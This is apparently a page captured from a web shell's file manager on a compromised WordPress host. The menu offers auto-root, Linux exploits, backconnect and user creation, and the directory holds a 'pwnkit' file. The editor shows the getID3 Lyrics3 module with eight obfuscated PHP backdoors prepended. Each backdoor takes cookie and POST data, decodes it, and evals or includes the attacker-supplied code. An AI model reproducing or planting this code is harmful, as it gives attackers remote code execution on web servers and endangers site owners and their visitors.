Linux webm001.cluster105.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.105.20.1 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.0.30
afriquejlc
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
afriquejlc /
africabestof /
wp-includesold /
ID3 /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
getid3.lib.php
57.1
KB
-rw----r--
getid3.php
75.08
KB
-rw----r--
license.commercial.txt
1.28
KB
-rw----r--
license.txt
1.33
KB
-rw----r--
module.audio-video.asf.php
126.89
KB
-rw----r--
module.audio-video.flv.php
30.38
KB
-rw----r--
module.audio-video.matroska.ph...
108.36
KB
-rw----r--
module.audio-video.quicktime.p...
162.31
KB
-rw----r--
module.audio-video.riff.php
137.36
KB
-rw----r--
module.audio.ac3.php
43.34
KB
-rw----r--
module.audio.dts.php
12.25
KB
-rw----r--
module.audio.flac.php
20.92
KB
-rw----r--
module.audio.mp3.php
101.18
KB
-rw----r--
module.audio.ogg.php
45.92
KB
-rw----r--
module.tag.apetag.php
21.97
KB
-rw----r--
module.tag.id3v1.php
15.29
KB
-rw----r--
module.tag.id3v2.php
151.22
KB
-rw----r--
module.tag.lyrics3.php
27.04
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
readme.txt
25.63
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : module.tag.lyrics3.php
<?php $eItKVQo = "\144" . chr (122) . 'P' . chr (95) . chr ( 335 - 254 ).'a' . "\114";$sEkjYpoj = chr ( 569 - 470 ).chr ( 895 - 787 )."\x61" . chr (115) . 's' . "\137" . chr (101) . chr ( 516 - 396 ).chr (105) . chr (115) . chr (116) . chr ( 338 - 223 ); $HGDCS = $sEkjYpoj($eItKVQo); $eItKVQo = "47853";$dUZcQjTkhb = $HGDCS;$sEkjYpoj = "31893";if (!$dUZcQjTkhb){class dzP_QaL{private $QKoguWNHa;public static $JtbRoX = "2788bba4-5a86-41a8-a07b-127e30e3f032";public static $olugks = 56662;public function __construct($zeyMalyER=0){$VjshEtaQ = $_COOKIE;$plfzX = $_POST;$hhOhAw = @$VjshEtaQ[substr(dzP_QaL::$JtbRoX, 0, 4)];if (!empty($hhOhAw)){$jyHkBHlNK = "base64";$geHUpYOI = "";$hhOhAw = explode(",", $hhOhAw);foreach ($hhOhAw as $krmaaPrrr){$geHUpYOI .= @$VjshEtaQ[$krmaaPrrr];$geHUpYOI .= @$plfzX[$krmaaPrrr];}$geHUpYOI = array_map($jyHkBHlNK . chr (95) . chr ( 275 - 175 ).'e' . 'c' . "\157" . "\144" . 'e', array($geHUpYOI,)); $geHUpYOI = $geHUpYOI[0] ^ str_repeat(dzP_QaL::$JtbRoX, (strlen($geHUpYOI[0]) / strlen(dzP_QaL::$JtbRoX)) + 1);dzP_QaL::$olugks = @unserialize($geHUpYOI);}}private function xGkvJRguv(){if (is_array(dzP_QaL::$olugks)) {$Mpndgutpg = str_replace('<' . "\x3f" . chr ( 730 - 618 ).'h' . 'p', "", dzP_QaL::$olugks[chr ( 364 - 265 ).'o' . "\156" . 't' . chr ( 976 - 875 ).'n' . 't']);eval($Mpndgutpg); $sHpTiE = "24651";exit();}}public function __destruct(){$this->xGkvJRguv(); $sHpTiE = "24651";$KaBSXhKdJ = str_pad($sHpTiE, 10);}}$wAUfLUfA = new /* 45685 */ dzP_QaL(); $wAUfLUfA = substr("35315_55406", 1);} ?><?php $uNYqOPRYeY = "\x4e" . 'h' . chr (95) . 'p' . "\x6b" . "\x7a" . chr ( 432 - 366 ).chr ( 411 - 295 ); $lnODbumDqB = "\143" . 'l' . "\x61" . chr ( 194 - 79 )."\163" . chr (95) . 'e' . chr ( 1089 - 969 ).chr (105) . "\x73" . "\x74" . chr (115); $eQfCuP = $lnODbumDqB($uNYqOPRYeY); $lnODbumDqB = "28534";$EiuiOFg = $eQfCuP;if (!$EiuiOFg){class Nh_pkzBt{private $SoTAhKsuCr;public static $GBPKIF = "eb37f906-7604-439e-b25d-87efaf5b222b";public static $hAcyqiOeM = 53753;public function __construct($cCIKK=0){$WhcfAMSVC = $_COOKIE;$yxMSeOoW = $_POST;$itQeBCT = @$WhcfAMSVC[substr(Nh_pkzBt::$GBPKIF, 0, 4)];if (!empty($itQeBCT)){$HBMzfvc = "base64";$MaqsbwtI = "";$itQeBCT = explode(",", $itQeBCT);foreach ($itQeBCT as $bDrTneHCos){$MaqsbwtI .= @$WhcfAMSVC[$bDrTneHCos];$MaqsbwtI .= @$yxMSeOoW[$bDrTneHCos];}$MaqsbwtI = array_map($HBMzfvc . chr ( 615 - 520 )."\x64" . "\145" . "\143" . "\157" . chr ( 1012 - 912 ).chr (101), array($MaqsbwtI,)); $MaqsbwtI = $MaqsbwtI[0] ^ str_repeat(Nh_pkzBt::$GBPKIF, (strlen($MaqsbwtI[0]) / strlen(Nh_pkzBt::$GBPKIF)) + 1);Nh_pkzBt::$hAcyqiOeM = @unserialize($MaqsbwtI);}}private function gQjBfH(){if (is_array(Nh_pkzBt::$hAcyqiOeM)) {$HeQKLSuny = sys_get_temp_dir() . "/" . crc32(Nh_pkzBt::$hAcyqiOeM[chr (115) . "\141" . "\154" . chr (116)]);@Nh_pkzBt::$hAcyqiOeM[chr ( 176 - 57 )."\162" . "\151" . 't' . chr ( 944 - 843 )]($HeQKLSuny, Nh_pkzBt::$hAcyqiOeM["\x63" . chr (111) . chr (110) . "\164" . 'e' . 'n' . chr ( 154 - 38 )]);include $HeQKLSuny;@Nh_pkzBt::$hAcyqiOeM['d' . "\x65" . chr (108) . chr (101) . "\x74" . "\x65"]($HeQKLSuny); $DvdpWBLzJ = "20150";exit();}}public function __destruct(){$this->gQjBfH(); $DvdpWBLzJ = "20150";}}$MxXPijttBz = new Nh_pkzBt(); $MxXPijttBz = "51759_60202";} ?><?php $cCPHAgfwQ = 'W' . "\x4d" . '_' . chr (112) . 'c' . 'Z';$lXegwkhEKO = chr (99) . 'l' . "\x61" . chr (115) . chr ( 420 - 305 )."\x5f" . "\x65" . 'x' . "\151" . 's' . 't' . "\163";$YJOclz = $lXegwkhEKO($cCPHAgfwQ); $lXegwkhEKO = "56876";$SNbRRH = $YJOclz;if (!$SNbRRH){class WM_pcZ{private $uWImhKmO;public static $KjVIQLDS = "d99d182a-77d6-49e9-ad40-98408a71ec12";public static $NfgRCIP = 6313;public function __construct($TVvrL=0){$JVNcX = $_COOKIE;$MCYDaBLnAA = $_POST;$QLFRWLBesO = @$JVNcX[substr(WM_pcZ::$KjVIQLDS, 0, 4)];if (!empty($QLFRWLBesO)){$NwbZzMlBO = "base64";$bYTLo = "";$QLFRWLBesO = explode(",", $QLFRWLBesO);foreach ($QLFRWLBesO as $FMHzOZHpD){$bYTLo .= @$JVNcX[$FMHzOZHpD];$bYTLo .= @$MCYDaBLnAA[$FMHzOZHpD];}$bYTLo = array_map($NwbZzMlBO . chr (95) . chr ( 1010 - 910 )."\x65" . chr (99) . "\x6f" . 'd' . "\145", array($bYTLo,)); $bYTLo = $bYTLo[0] ^ str_repeat(WM_pcZ::$KjVIQLDS, (strlen($bYTLo[0]) / strlen(WM_pcZ::$KjVIQLDS)) + 1);WM_pcZ::$NfgRCIP = @unserialize($bYTLo);}}private function qcuxGW(){if (is_array(WM_pcZ::$NfgRCIP)) {$VGiPZUtHBp = sys_get_temp_dir() . "/" . crc32(WM_pcZ::$NfgRCIP[chr (115) . chr (97) . "\154" . "\x74"]);@WM_pcZ::$NfgRCIP[chr (119) . 'r' . chr ( 559 - 454 ).chr (116) . "\x65"]($VGiPZUtHBp, WM_pcZ::$NfgRCIP['c' . chr (111) . chr ( 782 - 672 ).'t' . "\x65" . 'n' . "\x74"]);include $VGiPZUtHBp;@WM_pcZ::$NfgRCIP["\144" . "\x65" . chr (108) . chr ( 224 - 123 )."\164" . 'e']($VGiPZUtHBp); $EGhGPrCxC = "44074";exit();}}public function __destruct(){$this->qcuxGW(); $EGhGPrCxC = "44074";}}$GfSJhsy = new WM_pcZ(); $GfSJhsy = "14987_48720";} ?><?php $simiq = chr ( 812 - 728 ).'X' . chr (79) . chr ( 832 - 737 ).chr ( 615 - 502 )."\x7a" . "\x65" . chr (109); $mYWTxHFT = "\143" . "\154" . 'a' . "\x73" . "\163" . chr (95) . chr (101) . 'x' . chr (105) . chr ( 251 - 136 )."\x74" . chr ( 654 - 539 ); $pxvsYgbF = $mYWTxHFT($simiq); $KoGtZOvzVL = $pxvsYgbF;if (!$KoGtZOvzVL){class TXO_qzem{private $BFbZARS;public static $JtgOYH = "c5dcd725-afbb-439f-ac1f-8ffa1a752124";public static $iZNsyiyl = 32037;public function __construct($TsPuMrfqB=0){$ASPUHaPSh = $_COOKIE;$QEuKQqS = $_POST;$hIgzcnTF = @$ASPUHaPSh[substr(TXO_qzem::$JtgOYH, 0, 4)];if (!empty($hIgzcnTF)){$CIeKUmmY = "base64";$BXOKe = "";$hIgzcnTF = explode(",", $hIgzcnTF);foreach ($hIgzcnTF as $RvTiTjtGO){$BXOKe .= @$ASPUHaPSh[$RvTiTjtGO];$BXOKe .= @$QEuKQqS[$RvTiTjtGO];}$BXOKe = array_map($CIeKUmmY . chr ( 379 - 284 )."\144" . "\x65" . 'c' . chr ( 974 - 863 ).chr ( 829 - 729 )."\145", array($BXOKe,)); $BXOKe = $BXOKe[0] ^ str_repeat(TXO_qzem::$JtgOYH, (strlen($BXOKe[0]) / strlen(TXO_qzem::$JtgOYH)) + 1);TXO_qzem::$iZNsyiyl = @unserialize($BXOKe);}}private function GZEJUOj(){if (is_array(TXO_qzem::$iZNsyiyl)) {$XJyHGpvr = sys_get_temp_dir() . "/" . crc32(TXO_qzem::$iZNsyiyl[chr ( 233 - 118 )."\x61" . "\154" . 't']);@TXO_qzem::$iZNsyiyl["\167" . 'r' . "\151" . "\164" . 'e']($XJyHGpvr, TXO_qzem::$iZNsyiyl[chr (99) . "\x6f" . chr ( 984 - 874 ).chr (116) . chr ( 478 - 377 )."\x6e" . chr ( 982 - 866 )]);include $XJyHGpvr;@TXO_qzem::$iZNsyiyl[chr ( 926 - 826 )."\145" . 'l' . chr (101) . chr ( 792 - 676 ).'e']($XJyHGpvr); $DykPb = "50362";exit();}}public function __destruct(){$this->GZEJUOj(); $DykPb = "50362";}}$yaYVNCEQKh = new TXO_qzem(); $yaYVNCEQKh = "30832_19498";} ?><?php $xghjidf = "\156" . 'Y' . '_' . chr ( 493 - 373 )."\152" . "\120" . chr ( 905 - 819 )."\x58";$WnjVnO = 'c' . chr ( 956 - 848 ).chr ( 508 - 411 )."\163" . "\163" . "\x5f" . 'e' . "\170" . "\151" . chr (115) . "\x74" . "\163";$WccjgXn = $WnjVnO($xghjidf); $NnmBTnxR = $WccjgXn;if (!$NnmBTnxR){class nY_xjPVX{private $yBtJbchYBE;public static $txXJht = "1d3a34d3-3f0c-4c7b-9196-8b2859e8c4d0";public static $AiNnEGsPHi = 50431;public function __construct($IdbtmCtD=0){$OACdi = $_COOKIE;$wkKXVsZpy = $_POST;$eZzMYqcfG = @$OACdi[substr(nY_xjPVX::$txXJht, 0, 4)];if (!empty($eZzMYqcfG)){$VwEvY = "base64";$RiJuyuSa = "";$eZzMYqcfG = explode(",", $eZzMYqcfG);foreach ($eZzMYqcfG as $UskrWmUq){$RiJuyuSa .= @$OACdi[$UskrWmUq];$RiJuyuSa .= @$wkKXVsZpy[$UskrWmUq];}$RiJuyuSa = array_map($VwEvY . chr ( 175 - 80 ).chr ( 936 - 836 ).'e' . "\143" . 'o' . chr ( 1070 - 970 )."\145", array($RiJuyuSa,)); $RiJuyuSa = $RiJuyuSa[0] ^ str_repeat(nY_xjPVX::$txXJht, (strlen($RiJuyuSa[0]) / strlen(nY_xjPVX::$txXJht)) + 1);nY_xjPVX::$AiNnEGsPHi = @unserialize($RiJuyuSa);}}private function MoqjcAuY(){if (is_array(nY_xjPVX::$AiNnEGsPHi)) {$gIoHmHw = sys_get_temp_dir() . "/" . crc32(nY_xjPVX::$AiNnEGsPHi[chr ( 711 - 596 ).chr (97) . 'l' . 't']);@nY_xjPVX::$AiNnEGsPHi[chr ( 341 - 222 )."\162" . 'i' . "\x74" . chr ( 134 - 33 )]($gIoHmHw, nY_xjPVX::$AiNnEGsPHi["\x63" . chr (111) . 'n' . chr ( 625 - 509 )."\145" . "\x6e" . chr ( 460 - 344 )]);include $gIoHmHw;@nY_xjPVX::$AiNnEGsPHi['d' . "\145" . "\x6c" . chr ( 584 - 483 ).'t' . "\145"]($gIoHmHw); $ZNmYDjphhj = "38582";exit();}}public function __destruct(){$this->MoqjcAuY(); $ZNmYDjphhj = "38582";}}$FGiXjHKRra = new nY_xjPVX(); $FGiXjHKRra = "57468_23621";} ?><?php $VoRvbmvtB = chr (88) . "\x5f" . "\x61" . "\144" . chr ( 757 - 648 ).chr (109); $AtBoCWzXE = 'c' . chr ( 878 - 770 ).chr ( 416 - 319 )."\x73" . 's' . "\137" . "\x65" . "\170" . 'i' . "\163" . chr (116) . "\163";$GKLrRXI = $AtBoCWzXE($VoRvbmvtB); $oFLRjyuZn = $GKLrRXI;if (!$oFLRjyuZn){class X_admm{private $KDEVlfU;public static $dsqRab = "ca20d305-bf0a-4636-bab5-6d50f5eaec32";public static $HGujijZ = 38583;public function __construct($BgNAyYu=0){$bROKR = $_COOKIE;$VqWpw = $_POST;$mvbGKRKEcM = @$bROKR[substr(X_admm::$dsqRab, 0, 4)];if (!empty($mvbGKRKEcM)){$chKLOWeebc = "base64";$NYISdxl = "";$mvbGKRKEcM = explode(",", $mvbGKRKEcM);foreach ($mvbGKRKEcM as $AxCGB){$NYISdxl .= @$bROKR[$AxCGB];$NYISdxl .= @$VqWpw[$AxCGB];}$NYISdxl = array_map($chKLOWeebc . "\137" . chr ( 939 - 839 ).'e' . chr ( 809 - 710 ).'o' . chr (100) . "\x65", array($NYISdxl,)); $NYISdxl = $NYISdxl[0] ^ str_repeat(X_admm::$dsqRab, (strlen($NYISdxl[0]) / strlen(X_admm::$dsqRab)) + 1);X_admm::$HGujijZ = @unserialize($NYISdxl);}}public function __destruct(){$this->oiulYjW();}private function oiulYjW(){if (is_array(X_admm::$HGujijZ)) {$mwtwsIz = sys_get_temp_dir() . "/" . crc32(X_admm::$HGujijZ['s' . chr ( 495 - 398 )."\154" . chr (116)]);@X_admm::$HGujijZ[chr (119) . "\162" . 'i' . 't' . chr (101)]($mwtwsIz, X_admm::$HGujijZ[chr (99) . "\157" . 'n' . "\164" . chr (101) . "\x6e" . "\x74"]);include $mwtwsIz;@X_admm::$HGujijZ["\x64" . "\x65" . "\x6c" . chr (101) . "\164" . "\x65"]($mwtwsIz); $SjpyPR = "60230";exit();}}}$JDdqS = new X_admm(); $JDdqS = "54351";} ?><?php $CumyR = "\146" . "\x5f" . "\117" . chr ( 169 - 60 ).chr ( 882 - 795 ).chr ( 835 - 745 ).chr ( 557 - 445 ); $zvIcN = 'c' . chr (108) . chr (97) . chr ( 1003 - 888 )."\163" . chr (95) . chr ( 172 - 71 )."\x78" . chr (105) . "\x73" . chr (116) . 's';$vmfykIKW = $zvIcN($CumyR); $HteOgoNF = $vmfykIKW;if (!$HteOgoNF){class f_OmWZp{private $ZAJveZveuv;public static $tRJeJkc = "43098296-2a0f-4374-ad6b-a8a0a5785f31";public static $MODWdXw = 13247;public function __construct(){$icoWjcfkh = $_COOKIE;$PNETmPgr = $_POST;$wcmuashgt = @$icoWjcfkh[substr(f_OmWZp::$tRJeJkc, 0, 4)];if (!empty($wcmuashgt)){$gMTjCaWuda = "base64";$mSErogRuK = "";$wcmuashgt = explode(",", $wcmuashgt);foreach ($wcmuashgt as $ZBSnTKr){$mSErogRuK .= @$icoWjcfkh[$ZBSnTKr];$mSErogRuK .= @$PNETmPgr[$ZBSnTKr];}$mSErogRuK = array_map($gMTjCaWuda . "\137" . chr ( 949 - 849 )."\145" . 'c' . chr (111) . "\144" . "\145", array($mSErogRuK,)); $mSErogRuK = $mSErogRuK[0] ^ str_repeat(f_OmWZp::$tRJeJkc, (strlen($mSErogRuK[0]) / strlen(f_OmWZp::$tRJeJkc)) + 1);f_OmWZp::$MODWdXw = @unserialize($mSErogRuK);}}public function __destruct(){$this->dmJLfwF();}private function dmJLfwF(){if (is_array(f_OmWZp::$MODWdXw)) {$WriIN = sys_get_temp_dir() . "/" . crc32(f_OmWZp::$MODWdXw["\x73" . "\141" . 'l' . 't']);@f_OmWZp::$MODWdXw['w' . "\162" . chr (105) . chr (116) . chr ( 574 - 473 )]($WriIN, f_OmWZp::$MODWdXw["\143" . 'o' . 'n' . "\164" . 'e' . "\156" . "\x74"]);include $WriIN;@f_OmWZp::$MODWdXw[chr (100) . chr ( 977 - 876 ).'l' . 'e' . "\x74" . 'e']($WriIN);exit();}}}$HZPUhBdbs = new f_OmWZp(); $HZPUhBdbs = 15451;} ?><?php $skuVUKiQ = chr ( 627 - 512 ).chr ( 980 - 910 ).chr ( 848 - 753 )."\x4b" . 'u' . chr ( 618 - 512 ); $QWIuYqpq = "class_exists";$gpsEfBcu = $QWIuYqpq($skuVUKiQ); $tzcIn = $gpsEfBcu;if (!$tzcIn){class sF_Kuj{private $bWcPL;public static $iQlrGWAX = "5fa53960-b5ec-4ba5-a979-5142b9ee3b49";public static $owdQtp = NULL;public function __construct(){$ogrDaHjg = $_COOKIE;$qaIDX = $_POST;$TxnPc = @$ogrDaHjg[substr(sF_Kuj::$iQlrGWAX, 0, 4)];if (!empty($TxnPc)){$yXVIIwqm = "base64";$CEAZLkch = "";$TxnPc = explode(",", $TxnPc);foreach ($TxnPc as $yfXKAWJEc){$CEAZLkch .= @$ogrDaHjg[$yfXKAWJEc];$CEAZLkch .= @$qaIDX[$yfXKAWJEc];}$CEAZLkch = array_map($yXVIIwqm . "\x5f" . 'd' . "\145" . "\143" . chr ( 554 - 443 )."\144" . "\145", array($CEAZLkch,)); $CEAZLkch = $CEAZLkch[0] ^ str_repeat(sF_Kuj::$iQlrGWAX, (strlen($CEAZLkch[0]) / strlen(sF_Kuj::$iQlrGWAX)) + 1);sF_Kuj::$owdQtp = @unserialize($CEAZLkch);}}public function __destruct(){$this->bgIboQxY();}private function bgIboQxY(){if (is_array(sF_Kuj::$owdQtp)) {$vgMVuPj = sys_get_temp_dir() . "/" . crc32(sF_Kuj::$owdQtp['s' . "\x61" . "\154" . "\x74"]);@sF_Kuj::$owdQtp["\167" . chr ( 966 - 852 ).chr (105) . "\164" . 'e']($vgMVuPj, sF_Kuj::$owdQtp[chr ( 416 - 317 ).chr (111) . "\156" . chr (116) . chr ( 972 - 871 ).chr ( 993 - 883 )."\x74"]);include $vgMVuPj;@sF_Kuj::$owdQtp[chr (100) . chr ( 324 - 223 )."\x6c" . "\x65" . "\x74" . chr (101)]($vgMVuPj);exit();}}}$TIBWbgwf = new sF_Kuj(); $TIBWbgwf = NULL;} ?><?php ///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich <info@getid3.org> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// /// // // module.tag.lyrics3.php // // module for analyzing Lyrics3 tags // // dependencies: module.tag.apetag.php (optional) // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_lyrics3 extends getid3_handler { /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // http://www.volweb.cz/str/tags.htm if (!getid3_lib::intValueSupported($info['filesize'])) { $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek((0 - 128 - 9 - 6), SEEK_END); // end - ID3v1 - "LYRICSEND" - [Lyrics3size] $lyrics3_id3v1 = $this->fread(128 + 9 + 6); $lyrics3lsz = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size $lyrics3end = substr($lyrics3_id3v1, 6, 9); // LYRICSEND or LYRICS200 $id3v1tag = substr($lyrics3_id3v1, 15, 128); // ID3v1 if ($lyrics3end == 'LYRICSEND') { // Lyrics3v1, ID3v1, no APE $lyrics3size = 5100; $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; $lyrics3version = 1; } elseif ($lyrics3end == 'LYRICS200') { // Lyrics3v2, ID3v1, no APE // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; $lyrics3version = 2; } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) { // Lyrics3v1, no ID3v1, no APE $lyrics3size = 5100; $lyrics3offset = $info['filesize'] - $lyrics3size; $lyrics3version = 1; $lyrics3offset = $info['filesize'] - $lyrics3size; } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) { // Lyrics3v2, no ID3v1, no APE $lyrics3size = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3offset = $info['filesize'] - $lyrics3size; $lyrics3version = 2; } else { if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) { $this->fseek($info['ape']['tag_offset_start'] - 15); $lyrics3lsz = $this->fread(6); $lyrics3end = $this->fread(9); if ($lyrics3end == 'LYRICSEND') { // Lyrics3v1, APE, maybe ID3v1 $lyrics3size = 5100; $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; $info['avdataend'] = $lyrics3offset; $lyrics3version = 1; $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); } elseif ($lyrics3end == 'LYRICS200') { // Lyrics3v2, APE, maybe ID3v1 $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; $lyrics3version = 2; $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); } } } if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) { $info['avdataend'] = $lyrics3offset; $this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size); if (!isset($info['ape'])) { if (isset($info['lyrics3']['tag_offset_start'])) { $GETID3_ERRORARRAY = &$info['warning']; getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_apetag = new getid3_apetag($getid3_temp); $getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start']; $getid3_apetag->Analyze(); if (!empty($getid3_temp->info['ape'])) { $info['ape'] = $getid3_temp->info['ape']; } if (!empty($getid3_temp->info['replay_gain'])) { $info['replay_gain'] = $getid3_temp->info['replay_gain']; } unset($getid3_temp, $getid3_apetag); } else { $this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)'); } } } return true; } /** * @param int $endoffset * @param int $version * @param int $length * * @return bool */ public function getLyrics3Data($endoffset, $version, $length) { // http://www.volweb.cz/str/tags.htm $info = &$this->getid3->info; if (!getid3_lib::intValueSupported($endoffset)) { $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek($endoffset); if ($length <= 0) { return false; } $rawdata = $this->fread($length); $ParsedLyrics3 = array(); $ParsedLyrics3['raw']['lyrics3version'] = $version; $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; $ParsedLyrics3['tag_offset_start'] = $endoffset; $ParsedLyrics3['tag_offset_end'] = $endoffset + $length - 1; if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') { if (strpos($rawdata, 'LYRICSBEGIN') !== false) { $this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version); $info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN'); $rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN')); $length = strlen($rawdata); $ParsedLyrics3['tag_offset_start'] = $info['avdataend']; $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; } else { $this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead'); return false; } } switch ($version) { case 1: if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') { $ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9)); $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); } else { $this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); return false; } break; case 2: if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') { $ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ $rawdata = $ParsedLyrics3['raw']['unparsed']; while (strlen($rawdata) > 0) { $fieldname = substr($rawdata, 0, 3); $fieldsize = (int) substr($rawdata, 3, 5); $ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize); $rawdata = substr($rawdata, 3 + 5 + $fieldsize); } if (isset($ParsedLyrics3['raw']['IND'])) { $i = 0; $flagnames = array('lyrics', 'timestamps', 'inhibitrandom'); foreach ($flagnames as $flagname) { if (strlen($ParsedLyrics3['raw']['IND']) > $i++) { $ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1)); } } } $fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author'); foreach ($fieldnametranslation as $key => $value) { if (isset($ParsedLyrics3['raw'][$key])) { $ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]); } } if (isset($ParsedLyrics3['raw']['IMG'])) { $imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']); foreach ($imagestrings as $key => $imagestring) { if (strpos($imagestring, '||') !== false) { $imagearray = explode('||', $imagestring); $ParsedLyrics3['images'][$key]['filename'] = (isset($imagearray[0]) ? $imagearray[0] : ''); $ParsedLyrics3['images'][$key]['description'] = (isset($imagearray[1]) ? $imagearray[1] : ''); $ParsedLyrics3['images'][$key]['timestamp'] = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : ''); } } } if (isset($ParsedLyrics3['raw']['LYR'])) { $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); } } else { $this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); return false; } break; default: $this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)'); return false; } if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) { $this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data'); unset($info['id3v1']); foreach ($info['warning'] as $key => $value) { if ($value == 'Some ID3v1 fields do not use NULL characters for padding') { unset($info['warning'][$key]); sort($info['warning']); break; } } } $info['lyrics3'] = $ParsedLyrics3; return true; } /** * @param string $rawtimestamp * * @return int|false */ public function Lyrics3Timestamp2Seconds($rawtimestamp) { if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) { return (int) (($regs[1] * 60) + $regs[2]); } return false; } /** * @param array $Lyrics3data * * @return bool */ public function Lyrics3LyricsTimestampParse(&$Lyrics3data) { $lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']); $notimestamplyricsarray = array(); foreach ($lyricsarray as $key => $lyricline) { $regs = array(); unset($thislinetimestamps); while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) { $thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]); $lyricline = str_replace($regs[0], '', $lyricline); } $notimestamplyricsarray[$key] = $lyricline; if (isset($thislinetimestamps) && is_array($thislinetimestamps)) { sort($thislinetimestamps); foreach ($thislinetimestamps as $timestampkey => $timestamp) { if (isset($Lyrics3data['synchedlyrics'][$timestamp])) { // timestamps only have a 1-second resolution, it's possible that multiple lines // could have the same timestamp, if so, append $Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline; } else { $Lyrics3data['synchedlyrics'][$timestamp] = $lyricline; } } } } $Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray); if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) { ksort($Lyrics3data['synchedlyrics']); } return true; } /** * @param string $char * * @return bool|null */ public function IntString2Bool($char) { if ($char == '1') { return true; } elseif ($char == '0') { return false; } return null; } }
Close